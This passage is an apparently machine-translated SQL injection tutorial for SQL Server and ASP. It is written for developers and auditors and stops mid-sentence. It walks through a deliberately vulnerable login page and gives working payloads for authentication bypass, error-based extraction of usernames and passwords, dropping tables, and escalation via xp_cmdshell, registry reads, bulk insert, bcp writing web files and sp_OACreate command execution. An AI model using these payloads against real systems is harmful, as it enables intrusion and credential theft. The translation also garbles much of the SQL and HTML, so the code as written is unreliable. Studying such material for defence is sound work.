The target audience of this document is the developers of WEB applications that communicate with databases, and security experts who play the role of auditing WEB applications.
Introduction:
SQL is a structured query language for relational databases. It is divided into many kinds, but most of them are loosely based on the latest standard SQL-92 of the American National Organization for Standardization. The typical execution statement is query, which can collect records that meet the standards and return a single result set. SQL language can modify database structure (data definition language) and manipulate database content (data manipulation language). In this document, we will discuss the Transact-SQL language used by SQLSERVER in particular.
When an attacker can write data into an application by inserting a series of sql statements into a query, we call this method SQL injection.
Typical SQL statements are as follows:
Select id, first name and last name from the author.
This statement returns the id, forename, and surname columns of all rows in the authors table. This result may be limited, for example:
Select id, first name and last name from the author, where the first name is "john" and the last name is "smith".
It should be noted that the strings "john" and "smith" are restricted by single quotation marks. Specifically, the first name and last name fields are limited by the input provided by the user, and the attacker can inject some SQL statements into this query by entering values.
As follows:
Name: John
Last name: Smith
The query statement becomes:
Select id, first name and last name from the author, where first name ='jo'hn' and last name ='smith'.
When the database attempts to execute this query, it will return the following error:
Server: message 170, level 15, status 1, line 1
Line 1: The syntax near "hn" is incorrect.
The reason for this result is that single quotation marks are inserted as separators. The database tried to execute' hn', but it failed. If the attacker provides special input, such as:
Name: Joe; Delete table author—
Last name:
As a result, the authors table was deleted, and the reasons for this result will be discussed later.
It seems that this problem can be solved by removing single quotes from the input or avoiding single quotes in some way. This is feasible, but there are several difficulties in using this method as a solution. First, the data provided by users are not all strings. If the user enters the user id to query the author, then our query should be like this:
Select id, first name and last name from the author with id= 1234.
In this case, the attacker can simply add an SQL statement at the end of the number, and in other versions of the SQL language, use various qualifying symbols; In the database management system JET engine, data can be defined by' #'. Second, avoid single quotation marks, although it seems possible, but it is unnecessary, because we will talk about it later.
We further use a simple ASP login page to point out which ones can enter the SQLSERVER database, and try to identify the permissions to enter some fictitious applications.
This is the code used to submit the form page, allowing the user to enter the user name and password:
& ltHTML & gt
& ltHEAD & gt
< title & gt login page
& lt/HEAD & gt；
& ltBODY bgcolor = ' 000000 ' text = ' cccccc ' & gt。
& ltFONT Face = ' Tahoma ' color = ' cccccc ' & gt。
& lt center & gt<h1> Log in</h1>
& ltFORM action = ' process _ loginasp ' method = post & gt；
& lt table & gt
& ltTR & gt& ltTD & gt User name:</td > & ltTD & gt& lt Input Type = Text Name = User Name Size = 100 Width =100 > & lt/TD & gt； & lt/TR & gt；
& ltTR & gt& ltTD & gt password:</TD > & ltTD & gt& lt Input type = password name = password size =100 with d =100 > & lt/TD & gt； & lt/TR & gt；
& lt/TABLE & gt；
& lt Input Type = Submit Value =' Submit'>& lt Input Type = Reset Value =' Reset'>
& lt/FORM & gt；
& lt/Font & gt；
& lt/BODY & gt；
& lt/HTML & gt；
The following is the code of process_login.asp to control login:
& ltHTML & gt
& ltBODY bgcolor = ' 000000 ' text = ' ffffff ' & gt。
& ltFONT Face = ' Tahoma ' color = ' ffffff ' & gt。
& ltSTYLE & gt
p { font-size=20pt！ Important information}
font { font-size=20pt！ Important information}
h 1 { font-size=64pt！ Important information}
& lt/STYLE & gt；
& lt% @ LANGUAGE = JScript % & gt
& lt%
Function Trace (String) {
if(request . form(" debug ")= = " true ")
response . write(str)；
}
Function login (cn)
Var user name;
Var password;
username = request . form(" username ")；
Password = Request.form ("password");
Var rso = server. CreateObject("ADODB。 Recordset ");
var SQL = " select * from users where username = ' "+username+" ' and password = ' "+password+" ' "； Trace ("query:"+SQL);
rso.open( sql，cn)；
If (rso. EOF) {
rso . close()；
% & gt
& ltFONT Face = ' Tahoma ' color = ' cc 0000 ' & gt。
& lth 1 & gt； & ltBR & gt& ltBR & gt
& lt/CENTER & gt； denied access to</center >
& lt/h 1 & gt；
& lt/BODY & gt；
& lt/HTML & gt；
& lt% Response.end returns; }
Otherwise {
Session ("user name") = ""+rso ("user name");
% & gt
& ltFONT Face = ' Tahoma ' color = ' 00cc 00 ' & gt。
& lth 1 & gt； & lt center & gt grants access & ltBR & gt& ltBR & gt
Welcome,<% Response.write(rso ("user name")); response . write(" & lt； /BODY & gt； & lt/HTML >); Response.end }
}
Function Main(){// Establish a connection
Var user name
var cn = server . createobject(" ADODB。 Connection ");
cn . connection time out = 20；
cn.open( "localserver "、" sa "、" password ")；
Username = new string (request.form ("username"));
if(username . length & gt； 0) {
Login (cn);
}
cn . close()；
}
main()；
% & gt
The problem lies in the part of generating query statements in process_lgin.asp:
var SQL = " select * from users where username = ' "+username+" ' and password = ' "+password+" ' "；
If the information entered by the user is as follows:
User name:''; Delete table users—
Password:
The table users in the database will be deleted and any user will be denied access to the application. In Transact-SQL, the symbol'-'means to ignore'-',';' The following statement symbols indicate the end of one query and the beginning of another query. "-"must be in the User Name field in order to terminate this particular query without returning an error.
Attackers can log in as any user, just provide the user name they know and use the following input:
User name: admin'—
An attacker can use the first user in the users table and enter the following:
User name:' or1=1-
More specifically, an attacker can log in with a completely fictitious user and enter the following:
User name:' union select 1,' fictitious user',' some password',1-
The reason for this result is that the application thinks that the attacker specified a part of the result returned from the database.
Get information through error messages
This was almost first discovered by David litchfield and passed the author's penetration test. Later, David wrote a document, and later the author referred to it. These explanations discuss the potential mechanism of "error information" so that readers can fully understand it and potentially trigger their abilities.
In order to manipulate the data in the database, the attacker must determine the structure of some databases and some tables. For example, we can use the following statement to create a user table:
User who created the form (
Id int，
User name varchar(255),
Password varchar(255),
Privs int
)
Then insert the following users into the users table:
Insert into user value (0,' admin',' r00tr0x!' ，0xffff)
Insert user value (0,' Guest',' Guest', 0x0000)
Insert into user value (0,' Chris',' Password', 0x00ff)
Insert into user value (0,' Fred',' Sesame', 0x00ff)
If the attacker wants to insert his own users. If you don't know the structure of the users table, he won't succeed. Even if he is lucky, the privs field is not clear. An attacker may insert a "1", thus giving himself only a user with low privileges.
Fortunately, if the application returns an error message (ASP behavior by default), then the attacker can determine the structure of the whole database and modify any value in the program with the permission to connect to SQLSERVER.
The following is a simple database and asp script to illustrate how they work. )
First, the attacker wants to get the table name and field name of the user who created it. To do this, the attacker needs to use the having clause of the select syntax:
User name: "Owns1=1-
This will result in the following error:
Microsoft OLE DB Provider for ODBC driver error "80040e 14"
[Microsoft][ODBC SQL Server driver ][SQL Server] column "users.id" is invalid in the select list because it is not included in the aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
So now the attacker knows the name of the table and the name of the first batch. They can still find the field name by putting the field in the group by clause, as shown below:
User name: "group by users.id is1=1-
The following error occurred:
Microsoft OLE DB Provider for ODBC driver error "80040e 14"
[Microsoft][ODBC SQL Server driver ][SQL Server] column "users.username" is invalid in the select list because it is not contained in an aggregate function or a GROUP BY clause.
/process_login.asp, line 35
After the attacker finally gets the username field:
Group by users.id, users.username, users.password, users.privs has1=1-
This sentence will not make mistakes, which is equivalent to:
select * from users where username= ' '
Therefore, attacker now knows that query involves users table and uses columns' id, username, password, privs' in sequence.
It is very useful to be able to determine the type of each column. This can be achieved by using type conversion, for example:
User name: "union select sum from user"—
This takes advantage of the fact that SQLSERVER applies the sum clause before determining whether the fields of two result sets are equal. Trying to calculate the sum will get the following message:
Microsoft OLE DB Provider for ODBC driver error "80040e07"
[Microsoft][ODBC SQL Server Driver ][SQL Server]sum or average aggregate operation cannot take varchar data type as parameter.
/process_login.asp, line 35
This tells us that the type of the User Name field is varchar. In another case, we try to calculate sum () as a numeric value type, and the error message we get tells us that the number of fields in the two sets is not equal.
User name: "Joint selection sum (ID) from users-
Microsoft OLE DB Provider for ODBC driver error "80040e 14"
[Microsoft][ODBC SQL Server Driver ][SQL Server] All queries in an SQL statement containing the UNION operator must have the same number of expressions in their target list.
/process_login.asp, line 35
We can use this technique to approximately determine the type of any field in any table in the database.
In this way, the attacker can write a good insert query, such as:
User name:''; Insert user values (666,' attacker',' foobar',' 0xffff)—
The potential impact of this technology is not limited to these. Attackers can use these error messages to display environmental information or databases. You can get a standard error message by running a string in a specific format:
Select * from master ... system message
Explaining these will get interesting news.
A particularly useful message relates to type conversion. If you try to convert a string to an integer, all the contents of the string will be returned to the error message. For example, in our simple login page, SQLSERVER version and operating system information will be displayed in username:
User name: "union select @@version, 1, 1,1-
Microsoft OLE DB Provider for ODBC driver error "80040e07"
[Microsoft][ODBC SQL Server driver ][SQL Server] set the nvarchar value "Microsoft SQL server 2000-8.00.194 (Intel x86) aug6 2000 00: 57: 48 copyright (c)/ A syntax error occurred when kloc-0/988-2000 Microsoft corporation enterprise edition on windows nt 5.0 (build 2195: service pack 2) "was converted to a column with the data type int.
/process_login.asp, line 35
This sentence attempts to convert the built-in' @@version' constant into an integer, because the first column in the users table is an integer.
This technique can be used to read any value of any table in the database. Because attackers are more interested in user names and passwords, they prefer to read user names from the users table, for example:
User name:' union select min(username), 1, 1,1from users where username >' A'—
This statement selects that the user name in the users table is greater than the minimum value in' a' and tries to convert it into an integer:
Microsoft OLE DB Provider for ODBC driver error "80040e07"
[Microsoft][ODBC SQL Server Driver ][SQL Server] Syntax error occurred when converting the varchar value "admin" to a column with the data type of int.
/process_login.asp, line 35
Therefore, the attacker already knows the existence of the user admin. In this way, he can repeatedly find the next user by using the where clause and the queried user name.
User name:' union select min(username), 1, 1,1from users where username >' Management'—
Microsoft OLE DB Provider for ODBC driver error "80040e07"
[Microsoft][ODBC SQL Server Driver ][SQL Server] Syntax error occurred when converting the varchar value "chris" to a column with the data type of int.
/process_login.asp, line 35
Once the attacker determines the user name, he can start collecting passwords:
User name:' union select password, 1, 1,1from users where username =' admin'-
Microsoft OLE DB Provider for ODBC driver error "80040e07"
[Microsoft][ODBC SQL Server Driver ][SQL Server] Converts the varchar value "r00tr0x!" Syntax error occurred when converting to a column with the data type int.
/process_login.asp, line 35
A more advanced technique is to concatenate all user names and passwords into a string and then try to convert them into integers. This example points out that Transavt-SQL syntax can connect the same lines without changing their meaning. The following script concatenates these values:
begin declare @ret varchar(8000)
set @ret= ':'
Select @ ret = @ ret+' '+ username+'/'+password from users where.
User name & gt@ret
select @ret as ret into foo
end
The attacker logged in with this username (all on one line).
User name:''; begin declare @ ret varchar(8000)set @ ret = ':' select @ ret = @ ret+' '+username+'/'+password from users where username & gt； @ret select @ret as ret into foo end—
This creates a foo table, which has only one column' ret' and stores the user name and password string we get. Under normal circumstances, users with low authority can create tables in the same database or temporary databases.
Then the attacker can get the string we want:
User name: "union select ret, 1, 1,1from foo-
Microsoft OLE DB Provider for ODBC driver error "80040e07"
[Microsoft][ODBC SQL Server Driver ][SQL Server] Syntax error when converting varchar value: admin/r00tr0x! "guest/guest Chris/passwordfred/sesame" is added to the column with the data type int.
/process_login.asp, line 35
Then discard (delete) the table to make the footprint clear:
User name:''; Put down the table—
This example is only a superficial function of this technology. Needless to say, if attackers can get enough errors from the database, their work will become infinitely simple.
Gain higher authority
Once attackers control the database, they want to use this right to gain higher control over the network. This can be achieved in a number of ways:
1. On the database server, use xp_cmdshell extended stored procedures to execute commands with SQLSERVER privileges.
2. Use the xp_regread extended stored procedure to read the key values of the registry, including the SAM key (assuming that SQLSERVER runs with system privileges).
3. Use other stored procedures to change the server
4. Execute the query on the connected server.
5. Create a customer extended stored procedure to execute the overflow code in the SQLSERVER process.
6. Use the "bulk insert" syntax to read any file on the server.
7. Use bcp to create files in any text format on the server.
8. Use sp_OACreate, sp_OAMethod and sp_OAGetProperty system stored procedures to create ActiveX applications, so that it can do anything that ASP scripts can do.
These are just a few very common possible attack methods, and attackers are likely to use other methods. Let's introduce the obvious attack methods of the attacks collected on SQL server to illustrate what is possible and grant the right to inject SQL. We will deal with the methods mentioned above in turn:
[xp_cmdshell]
Many stored procedures are created in SQLSERVER and perform various functions, such as sending e-mail and interacting with the registry.
Xp_cmdshell is a built-in stored procedure that allows arbitrary command line commands to be executed. For example:
Execution host .. xp_cmdshell 'dir'
You will get a list of directories in the current working directory of the SQLSERVER process.
Execution Host .. xp_cmdshell' Network User'
A list of all users on the server will be provided. When SQLSERVER operates normally as a system account or a domain account, attackers can cause more serious harm.
[xp_regread]
Another useful built-in stored procedure is the function collection of xp_regXXXX class.
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
Examples of how to use these functions are as follows:
' exec XP _ regread HKEY _ LOCAL _ MACHINE，' SYSTEM \ current control set \ Services \ lanman server \ parameters '，' nullsessionshares '
This will determine the types of session connections available on the server.
exec XP _ regenumvalues HKEY _ LOCAL _ MACHINE，' SYSTEM \ current control set \ Services \ SNMP \ parameters \ valid communities '
This will display all SNMP community configurations on the server. With this information, when the SNMP community is rarely changed and shared among many hosts, the attacker can reconfigure the network devices in the same network.
It is easy to imagine that attackers can use these functions to read SAM, modify the configuration of system services, make them start the next time the machine is restarted, or execute arbitrary commands the next time any user logs in.
[Other stored procedures]
The xp_servicecontrol procedure allows users to start, stop, pause and continue services:
Execute host .. xp_servicecontrol' Start',' Plan'
Execution host .. xp_servicecontrol' Start',' Server'
The following table lists some other useful stored procedures:
Xp_availablemedia displays useful drives on the machine.
Xp_dirtree allows you to get a directory tree.
Xp_enumdsn enumerates ODBC data sources on the server.
Xp_loginconfig reveals information about the security mode of the server.
Xp_makecab allows users to create a compressed file on the server.
Xp_ntsec_enumdomains lists the domains that the server can enter.
Xp_terminate_process provides the process ID of the process and terminates the process.
[Linked servers]
SQL SERVER provides a mechanism to allow servers to connect, that is, to allow queries on one database server to manipulate data on another server. The link is stored in the master.sysservers table. If the connected server is set to use the "sp_addlinkedsrvlogin" process, the current trusted connection can access the server without logging in. The "openquery" function allows queries to be executed without a server.
[Custom Extended Stored Procedure]
It is quite simple to extend the application program interface of stored procedures, and it is quite simple to create an extended dynamic connection library of stored procedures with malicious code. There are many ways to upload dynamic link libraries to SQL server using the command line, and there are other communication mechanisms including various automatic communication, such as HTTP download and FTP scripts.
Once the machine runs the DLL file, it can access SQL server-it doesn't need to be SQL server itself-and the attacker can add an extended stored procedure with the following command (here our malicious stored procedure is a Trojan horse that can output the system files of the server):
sp _ addextendedproc ' XP _ web server '，' c:\temp\xp_foo.dll '
Under normal circumstances, you can run this extended stored procedure:
exec xp_webserver
Once the program runs, you can delete it by the following methods:
XP _ dropextendedproc ' XP _ web server '
[Import a text file into a table]
Use the "bulk insert" syntax to insert a text file into a temporary table. Just create this table:
Create table foo (line varchar(8000))
Then perform a batch insert operation to insert the data in the file into the table, for example:
Bulk insert foo from "c: \ inetpub \ wwwroot \ process _ login.asp"
You can use the above error information technology, or use "union" to combine the data in the text file with the data normally returned by the application to retrieve the data. This is very useful for obtaining the script source code or ASP script code stored on the database server.
[Create a text file using bcp]
You can easily create any text file by using the related technology of "batch insertion". Unfortunately, this requires command-line tools. Bcp', that is,' batch copying program'
Because bcp can access the database from outside the SQL service process, it needs to log in. This means that obtaining permission is not difficult, because an attacker can establish or use an overall security mechanism (if the server is configured to use it).
The command line format is as follows:
Bcp "select * ... foo" query out c: \ inetpub \ wwwroot \ runcommand.asp–c-slocalhost–USA–p foobar from the text.
The "s" parameter is the server executing the query, the "u" parameter is the user name, and the "p" parameter is the password, in this case, "foobar".
ActiveX automation script in SQL SERVER]
There are several built-in stored procedures in SQL SERVER that allow you to create ActiveX automatic execution scripts. These scripts are the same as those running under the windows script interpreter or ASP script program-they are written in VBScript or JavaScript, and they create and interact with automatic execution objects. An auto-execution script written in this way can perform any operation that can be performed in an ASP script or a WSH script in Transact-SQL. To illustrate this shoe, here are some examples:
(1) This example uses the "wscript.shell" object to create an instance of Notepad:
Wscript.shell example
Declare @o int
exec sp_oacreate 'wscript.shell '，@o out
exec sp_oamethod @o，' run '，NULL，' notepad.exe '
We can execute it by specifying it after the user name:
User name:''; declare @ o int exec sp _ oacreate ' wscript . shell '，@o out exec sp_oamethod @o，' run '，NULL，' notepad.exe'—
(2) This example uses the "scripting.filesystemobject" object to read a known text file:
-scripting.filesystemobject example-reading a known file
Declare @o int, @f int, @t int, @ret int.
Declare @line varchar(8000)
exec sp _ oacreate ' scripting . file system object '，@o out
exec sp_oamethod @o，' opentextfile '，@f out，' c:\boot.ini '， 1
exec @ret=sp_oamethod @f，' readline '，@line out
while(@ret=0)
begin
Print @ line
exec @ret=sp_oamethod @f，' readline '，@line out
end
(3) This example creates a command that can execute any command submitted by the following users:
-scripting.filesystemobject example-create a "run this". Asp file
Declare @o int, @f int, @t int, @ret int.
exec sp _ oacreate ' scripting . file system object '，@o out
exec sp_oamethod @o，' createtextfile '，@f out，' c:\inetpub\wwwroot\foo.asp '， 1
exec @ret=sp_oamethod @f，' writeline '，NULL，''
It should be pointed out that if the running environment is WINT4+IIS 4 platform, then all commands run through this program are run with system privileges. In IIS5, it runs with a lower privilege IWAM_XXXaccount.
(4) These examples illustrate the applicability of this technology; It can use the "speech.voicetext" object to make SQL SERVER sound:
Declare @o int, @ret int
exec sp _ oacreate ' speech . voice text '，@o out
exec sp_oamethod @o，' register '，NULL，' foo '，' bar '
exec sp_oasetproperty @o，' speed '， 150
Exec sp_oamethod @o,' speak', NULL,' All your sequel servers belong to, us', 528.
Waiting delay' 00:00:05'
In our hypothetical example, we can execute it by specifying it after the user name (note that this example not only injects a script, but also logs in to the application with admin privileges):
User name: admin '；; declare @o int，@ ret int exec sp _ oacreate ' speech . voice text '，@o out exec sp_oamethod @o，' register '，NULL，' foo '， Bar' exec sp_oasetproperty @o,' speed', 150 exec sp_oamethod @o,' speed', NULL,' All your sequel servers belong to us', 528 wait for delay' 00: 00: 05'-
[stored procedure]
Legend has it that SQL injection is impossible if ASP applications use stored procedures in the database. This sentence is only half right, depending on how this stored procedure is called in ASP script.
In essence, if a query with parameters is executed and the parameters provided by the user are put into the query after security check, then SQL injection is obviously impossible. But if attackers try to influence the non-data part of the executed query statement, they may take control of the database.
A good general standard is:
If an ASP script can produce a submitted SQL query string, even if it uses stored procedures, it is still a weakness that can lead to SQL injection.
If an ASP script uses a process object to restrict parameter assignment to a stored procedure such as ADO